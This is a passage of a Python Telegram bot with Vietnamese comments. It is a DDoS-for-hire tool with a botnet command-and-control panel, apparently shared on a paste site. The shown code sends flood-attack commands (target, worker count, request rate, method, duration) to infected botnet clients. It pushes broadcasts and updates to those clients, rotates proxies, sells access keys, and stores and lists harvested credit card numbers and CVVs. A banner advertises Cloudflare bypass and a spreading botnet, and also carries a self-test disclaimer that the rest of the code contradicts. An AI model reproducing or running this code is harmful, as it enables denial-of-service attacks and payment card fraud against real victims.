  1545.  
  1546. @bot.message_handler(commands=['proxy'])
  1547. def cmd_proxy(message):
  1548.     # (Giữ nguyên)
  1549.     user_id = message.from_user.id
  1550.     if not is_admin(user_id):
  1551.         bot.reply_to(message, "❌ Không có quyền!")
  1552.         return
  1553.    
  1554.     if not is_logged_in(user_id):
  1555.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1556.         return
  1557.    
  1558.     args = message.text.split()
  1559.     if len(args) < 2:
  1560.         bot.reply_to(message, f"""
  1561. 📡 *PROXY MANAGEMENT*
  1562. ━━━━━━━━━━━━━━━━━━
  1563. 📡 *Số proxy:* `{len(proxy_list)}`
  1564.  
  1565. 🔧 *LỆNH:*
  1566. /proxy update - Cập nhật proxy mới
  1567. /proxy list - Xem danh sách proxy
  1568.        """, parse_mode='Markdown')
  1569.         return
  1570.    
  1571.     if args[1] == "update":
  1572.         bot.reply_to(message, "🔄 Đang cập nhật proxy, vui lòng chờ...")
  1573.         update_proxy_list()
  1574.         bot.reply_to(message, f"✅ Đã cập nhật thành công {len(proxy_list)} proxy!")
  1575.    
  1576.     elif args[1] == "list":
  1577.         if proxy_list:
  1578.             text = "📡 *Danh sách proxy:*\n"
  1579.             for i, p in enumerate(proxy_list[:30], 1):
  1580.                 text += f"{i}. `{p}`\n"
  1581.             bot.reply_to(message, text[:4000], parse_mode='Markdown')
  1582.         else:
  1583.             bot.reply_to(message, "📭 Chưa có proxy nào! Dùng /proxy update để lấy proxy.")
  1584.  
  1585. # === BOTNET: LỆNH QUẢN LÝ CLIENT ===
  1586. @bot.message_handler(commands=['listbots'])
  1587. def cmd_listbots(message):
  1588.     user_id = message.from_user.id
  1589.     if not is_admin(user_id) or not is_logged_in(user_id):
  1590.         bot.reply_to(message, "🔐 /login 7788")
  1591.         return
  1592.     if not botnet_clients:
  1593.         bot.reply_to(message, "📭 Chưa có client nào kết nối.")
  1594.         return
  1595.     text = "📡 *DANH SÁCH CLIENT:*\n"
  1596.     for c in botnet_clients:
  1597.         text += f"🖥️ `{c['ip']}` - last seen: {int(time.time() - c['last_seen'])}s ago\n"
  1598.     bot.reply_to(message, text, parse_mode='Markdown')
  1599.  
  1600. @bot.message_handler(commands=['botcmd'])
  1601. def cmd_botcmd(message):
  1602.     user_id = message.from_user.id
  1603.     if not is_admin(user_id) or not is_logged_in(user_id):
  1604.         bot.reply_to(message, "🔐 /login 7788")
  1605.         return
  1606.     args = message.text.split()
  1607.     if len(args) < 2:
  1608.         bot.reply_to(message, "❌ /botcmd <attack/stop> [params...]")
  1609.         return
  1610.     global current_botnet_command
  1611.     if args[1] == "attack":
  1612.         if len(args) < 7:
  1613.             bot.reply_to(message, "❌ /botcmd attack <url> <workers> <rps> <method> <duration>")
  1614.             return
  1615.         target = args[2]
  1616.         workers = args[3]
  1617.         rps = args[4]
  1618.         method = args[5]
  1619.         duration = args[6]
  1620.         current_botnet_command = f"{target}|{workers}|{rps}|{method}|{duration}"
  1621.         save_attack(target, workers, rps, method, duration)
  1622.         bot.reply_to(message, f"✅ Đã gửi lệnh tấn công đến {len(botnet_clients)} client.")
  1623.         def reset_cmd():
  1624.             time.sleep(60)
  1625.             global current_botnet_command
  1626.             current_botnet_command = None
  1627.         threading.Thread(target=reset_cmd).start()
  1628.     elif args[1] == "stop":
  1629.         current_botnet_command = None
  1630.         bot.reply_to(message, "🛑 Đã hủy lệnh tấn công.")
  1631.     else:
  1632.         bot.reply_to(message, "❌ /botcmd attack hoặc /botcmd stop")
  1633.  
  1634. @bot.message_handler(commands=['broadcast'])
  1635. def cmd_broadcast(message):
  1636.     user_id = message.from_user.id
  1637.     if not is_admin(user_id) or not is_logged_in(user_id):
  1638.         bot.reply_to(message, "🔐 /login 7788")
  1639.         return
  1640.     msg = message.text.replace("/broadcast", "").strip()
  1641.     if not msg:
  1642.         bot.reply_to(message, "❌ /broadcast <tin nhắn>")
  1643.         return
  1644.     for c in botnet_clients:
  1645.         try:
  1646.             requests.get(f"http://{c['ip']}:8080/broadcast?msg={msg}", timeout=2)
  1647.         except:
  1648.             pass
  1649.     bot.reply_to(message, f"✅ Đã broadcast đến {len(botnet_clients)} client")
  1650.  
  1651. @bot.message_handler(commands=['update_client'])
  1652. def cmd_update_client(message):
  1653.     user_id = message.from_user.id
  1654.     if not is_admin(user_id) or not is_logged_in(user_id):
  1655.         bot.reply_to(message, "🔐 /login 7788")
  1656.         return
  1657.     for c in botnet_clients:
  1658.         try:
  1659.             requests.get(f"http://{c['ip']}:8080/update", timeout=2)
  1660.         except:
  1661.             pass
  1662.     bot.reply_to(message, f"✅ Đã yêu cầu cập nhật client đến {len(botnet_clients)} client")
  1663. # === END BOTNET ===
  1664.  
  1665. @bot.message_handler(commands=['key'])
  1666. def cmd_key(message):
  1667.     # (Giữ nguyên)
  1668.     user_id = message.from_user.id
  1669.     if not is_admin(user_id):
  1670.         bot.reply_to(message, "❌ Không có quyền!")
  1671.         return
  1672.    
  1673.     if not is_logged_in(user_id):
  1674.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1675.         return
  1676.    
  1677.     args = message.text.split()
  1678.     days = 30
  1679.     if len(args) > 1:
  1680.         try:
  1681.             days = int(args[1])
  1682.             if days < 1 or days > 365:
  1683.                 days = 30
  1684.         except:
  1685.             pass
  1686.    
  1687.     new_key = create_key(user_id, days)
  1688.     bot.reply_to(message, f"""
  1689. 🔑 *KEY MỚI ĐƯỢC TẠO*
  1690. ━━━━━━━━━━━━━━━━
  1691. 🔐 *Key:* `{new_key}`
  1692. 📅 *Hạn sử dụng:* `{days} ngày`
  1693. 💡 *Người tạo:* `{user_id}`
  1694.  
  1695. ⚠️ *Lưu key này để cấp cho người dùng!*
  1696.    """, parse_mode='Markdown')
  1697.  
  1698. @bot.message_handler(commands=['keys'])
  1699. def cmd_keys(message):
  1700.     # (Giữ nguyên)
  1701.     user_id = message.from_user.id
  1702.     if not is_admin(user_id):
  1703.         bot.reply_to(message, "❌ Không có quyền!")
  1704.         return
  1705.    
  1706.     if not is_logged_in(user_id):
  1707.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1708.         return
  1709.    
  1710.     keys = load_keys()
  1711.     if not keys:
  1712.         bot.reply_to(message, "📭 Chưa có key nào!")
  1713.         return
  1714.    
  1715.     text = "🔑 *DANH SÁCH KEY*\n━━━━━━━━━━━━━━━━\n\n"
  1716.     for k, v in keys.items():
  1717.         expiry = datetime.fromtimestamp(v['expiry']).strftime("%d/%m/%Y")
  1718.         used = len(v.get('used_by', []))
  1719.         max_uses = v.get('max_uses', 1)
  1720.         text += f"🔐 `{k}`\n   📅 Hết hạn: `{expiry}` | ✅ `{used}/{max_uses}`\n\n"
  1721.         if len(text) > 3800:
  1722.             text += "...\n(Quá nhiều key, hiển thị một phần)"
  1723.             break
  1724.    
  1725.     bot.reply_to(message, text, parse_mode='Markdown')
  1726.  
  1727. @bot.message_handler(commands=['delkey'])
  1728. def cmd_delkey(message):
  1729.     # (Giữ nguyên)
  1730.     user_id = message.from_user.id
  1731.     if not is_admin(user_id):
  1732.         bot.reply_to(message, "❌ Không có quyền!")
  1733.         return
  1734.    
  1735.     if not is_logged_in(user_id):
  1736.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1737.         return
  1738.    
  1739.     args = message.text.split()
  1740.     if len(args) < 2:
  1741.         bot.reply_to(message, "❌ /delkey <key>")
  1742.         return
  1743.    
  1744.     key = args[1]
  1745.     if delete_key(key):
  1746.         bot.reply_to(message, f"✅ Đã xóa key `{key}`", parse_mode='Markdown')
  1747.     else:
  1748.         bot.reply_to(message, "❌ Không tìm thấy key!")
  1749.  
  1750. # === LỆNH MỚI ===
  1751. @bot.message_handler(commands=['chart'])
  1752. def cmd_chart(message):
  1753.     user_id = message.from_user.id
  1754.     if not is_admin(user_id) or not is_logged_in(user_id):
  1755.         bot.reply_to(message, "🔐 /login 7788")
  1756.         return
  1757.     if message.chat.id not in attacks:
  1758.         bot.reply_to(message, "ℹ️ Không có đợt tấn công")
  1759.         return
  1760.     total = request_counts.get(message.chat.id, 0)
  1761.     elapsed = max(1, int(time.time() - attacks[message.chat.id]['start_time']))
  1762.     rps = total // elapsed
  1763.     plt.figure(figsize=(8, 4))
  1764.     plt.bar(['RPS'], [rps], color='red')
  1765.     plt.title(f'RPS - {attacks[message.chat.id]["target"][:30]}')
  1766.     plt.ylabel('Requests/sec')
  1767.     buf = io.BytesIO()
  1768.     plt.savefig(buf, format='png')
  1769.     buf.seek(0)
  1770.     bot.send_photo(message.chat.id, buf, caption=f"📊 RPS: {rps}")
  1771.  
  1772. @bot.message_handler(commands=['deploy'])
  1773. def cmd_deploy(message):
  1774.     user_id = message.from_user.id
  1775.     if not is_admin(user_id) or not is_logged_in(user_id):
  1776.         bot.reply_to(message, "🔐 /login 7788")
  1777.         return
  1778.     bot.reply_to(message, """
  1779. 🚀 *DEPLOY 24/7 MIỄN PHÍ*
  1780.  
  1781. 1. Push code lên GitHub
  1782. 2. Đăng ký render.com
  1783. 3. Tạo Web Service, start: python bot.py
  1784. 4. Thêm biến: BOT_TOKEN, ADMIN_ID
  1785. 5. Dùng UptimeRobot ping URL mỗi 5 phút
  1786.  
  1787. 💀 Bot chạy 24/7 không cần máy!
  1788. """, parse_mode='Markdown')
  1789.  
  1790. @bot.message_handler(commands=['version'])
  1791. def cmd_version(message):
  1792.     user_id = message.from_user.id
  1793.     if not is_admin(user_id) or not is_logged_in(user_id):
  1794.         bot.reply_to(message, "🔐 /login 7788")
  1795.         return
  1796.     text = f"🤖 Bot version: {CURRENT_VERSION}\n📡 Client count: {len(botnet_clients)}\n🔌 Proxy count: {len(proxy_list)}"
  1797.     bot.reply_to(message, text)
  1798.  
  1799. @bot.message_handler(commands=['update'])
  1800. def cmd_update(message):
  1801.     user_id = message.from_user.id
  1802.     if not is_admin(user_id) or not is_logged_in(user_id):
  1803.         bot.reply_to(message, "🔐 /login 7788")
  1804.         return
  1805.     bot.reply_to(message, "🔄 Đang kiểm tra phiên bản mới...")
  1806.     try:
  1807.         resp = requests.get(GITHUB_REPO, timeout=10)
  1808.         if resp.status_code == 200:
  1809.             new_version = None
  1810.             for line in resp.text.split('\n'):
  1811.                 if 'CURRENT_VERSION =' in line and '"' in line:
  1812.                     new_version = line.split('"')[1]
  1813.                     break
  1814.             if new_version and new_version != CURRENT_VERSION:
  1815.                 with open(__file__, 'w') as f:
  1816.                     f.write(resp.text)
  1817.                 bot.reply_to(message, f"✅ Cập nhật lên v{new_version}, đang restart...")
  1818.                 os.execv(sys.executable, [sys.executable] + sys.argv)
  1819.             else:
  1820.                 bot.reply_to(message, "✅ Đã là bản mới nhất")
  1821.         else:
  1822.             bot.reply_to(message, "❌ Lỗi kết nối GitHub")
  1823.     except Exception as e:
  1824.         bot.reply_to(message, f"❌ Lỗi: {e}")
  1825.  
  1826. @bot.message_handler(commands=['cvv'])
  1827. def cmd_cvv(message):
  1828.     user_id = message.from_user.id
  1829.     if not is_admin(user_id) or not is_logged_in(user_id):
  1830.         bot.reply_to(message, "🔐 /login 7788")
  1831.         return
  1832.     args = message.text.split()
  1833.     if len(args) < 4:
  1834.         bot.reply_to(message, "❌ /cvv <cc> <cvv> <exp>\nVD: /cvv 4111111111111111 123 12/25")
  1835.         return
  1836.     cc = args[1]
  1837.     cvv = args[2]
  1838.     exp = args[3]
  1839.     save_cvv(cc, cvv, exp)
  1840.     bot.reply_to(message, f"✅ Đã lưu thông tin!\n💳 CC: {cc}\n🔑 CVV: {cvv}\n📅 Exp: {exp}")
  1841.  
  1842. @bot.message_handler(commands=['getcvv'])
  1843. def cmd_getcvv(message):
  1844.     user_id = message.from_user.id
  1845.     if not is_admin(user_id) or not is_logged_in(user_id):
  1846.         bot.reply_to(message, "🔐 /login 7788")
  1847.         return
  1848.     conn = sqlite3.connect('c2.db')
  1849.     c = conn.cursor()
  1850.     c.execute("SELECT * FROM cvv_logs ORDER BY id DESC LIMIT 20")
  1851.     rows = c.fetchall()
  1852.     conn.close()
  1853.     if not rows:
  1854.         bot.reply_to(message, "📭 Chưa có dữ liệu CVV")
  1855.         return
  1856.     text = "💳 *DANH SÁCH CVV THU THẬP*\n━━━━━━━━━━━━━━━━━━\n"
  1857.     for row in rows:
  1858.         text += f"🔹 CC: {row[1]}\n   CVV: {row[2]} | Exp: {row[3]}\n   📅 {row[4]}\n\n"
  1859.     bot.reply_to(message, text[:4000], parse_mode='Markdown')
  1860.  
  1861. # === TỰ ĐỘNG RESET PROXY KHI HẾT ===
  1862. def auto_refresh_proxy():
  1863.     """Tự động cập nhật proxy khi số lượng proxy dưới ngưỡng"""
  1864.     global proxy_list
  1865.     while True:
  1866.         time.sleep(300)  # Kiểm tra mỗi 5 phút
  1867.         if len(proxy_list) < 20:
  1868.             logging.warning(f"⚠️ Chỉ còn {len(proxy_list)} proxy, đang cập nhật...")
  1869.             update_proxy_list()
  1870.         else:
  1871.             logging.info(f"✅ Proxy ổn định: {len(proxy_list)} proxy")
  1872.  
  1873. # Khởi chạy luồng tự động cập nhật proxy
  1874. threading.Thread(target=auto_refresh_proxy, daemon=True).start()
  1875.  
  1876. # ==================== LỆNH FALLBACK (LUÔN Ở CUỐI CÙNG) ====================
  1877. @bot.message_handler(func=lambda m: True)
  1878. def echo_all(message):
  1879.     user_id = message.from_user.id
  1880.     if not is_admin(user_id):
  1881.         bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
  1882.         return
  1883.    
  1884.     bot.reply_to(message, """
  1885. 🤖 *LỆNH KHÔNG HỢP LỆ!*
  1886. ━━━━━━━━━━━━━━━━━━
  1887. 📌 Gõ /help để xem danh sách lệnh
  1888. 🔐 Đăng nhập: /login 7788
  1889.    """, parse_mode='Markdown')
  1890.  
  1891. # ==================== CHẠY BOT ====================
  1892. if __name__ == '__main__':
  1893.     if not os.path.exists(PROXY_FILE):
  1894.         with open(PROXY_FILE, 'w') as f:
  1895.             f.write("# Mỗi dòng một proxy: ip:port\n")
  1896.    
  1897.     if not os.path.exists(KEYS_FILE):
  1898.         save_keys({})
  1899.    
  1900.     if not os.path.exists(HISTORY_FILE):
  1901.         save_history([])
  1902.    
  1903.     if not proxy_list:
  1904.         update_proxy_list()
  1905.    
  1906.     # Tạo file client.py rỗng nếu chưa có (để API /static/client.py không lỗi)
  1907.     if not os.path.exists("client.py"):
  1908.         with open("client.py", "w") as f:
  1909.             f.write("# Client botnet sẽ được cập nhật sau\n")
  1910.    
  1911.     print("""
  1912.    ╔══════════════════════════════════════════════════════════════════════════╗
  1913.    ║                                                                          ║
  1914.    ║     💀 NULLZEREPTOOL - SIÊU DDOS BOT + BOTNET (NÂNG CẤP TỐI ĐA) 💀       ║
  1915.    ║                                                                          ║
  1916.    ║         🔥 40+ CHỨC NĂNG | ĐA PHƯƠNG THỨC TẤN CÔNG 🔥                    ║
  1917.    ║         🔄 TỰ ĐỘNG XOAY PROXY (500+ PROXY) | BOTNET LÂY LAN              ║
  1918.    ║         🔐 KEY KÍCH HOẠT | AMPLIFICATION | BYPASS CF                      ║
  1919.    ║         ✨ HTTPS FLOOD | AUTO INCREASE | DATABASE | BROADCAST             ║
  1920.    ║         📊 CHART | DEPLOY | VERSION | UPDATE | CVV                        ║
  1921.    ║         🚀 20+ METHOD MỚI: http2, synack, gre, quic, ws, graphql...     ║
  1922.    ║         ✅ ĐÃ SỬA LỖI: CHECK WEB CHÍNH XÁC, PROXY TỰ ĐỘNG RESET          ║
  1923.    ║                                                                          ║
  1924.    ║   📡 BOT ĐANG CHẠY...                                                    ║
  1925.    ║   🔐 ĐĂNG NHẬP: /login 7788                                              ║
  1926.    ║   📜 XEM LỆNH: /help                                                    ║
  1927.    ║                                                                          ║
  1928.    ║   ⚠️  CHỈ DÙNG ĐỂ TEST WEB CỦA CHÍNH BẠN! ⚠️                             ║
  1929.    ║                                                                          ║
  1930.    ╚══════════════════════════════════════════════════════════════════════════╝
  1931.    """)
  1932.    
  1933.     def signal_handler(sig, frame):
  1934.         print("\n🛑 Đang dừng bot...")
  1935.         for chat_id in list(attacks.keys()):
  1936.             stop_attack(chat_id)
  1937.         sys.exit(0)
  1938.    
  1939.     signal.signal(signal.SIGINT, signal_handler)
  1940.     signal.signal(signal.SIGTERM, signal_handler)
  1941.    
  1942.     try:
  1943.         bot.infinity_polling(timeout=10)
  1944.     except Exception as e:
  1945.         logging.error(f"Lỗi bot: {e}")
  1946.         print(f"❌ LỖI: {e}")
  1947.         time.sleep(5)
Add Comment
Please, Sign In to add comment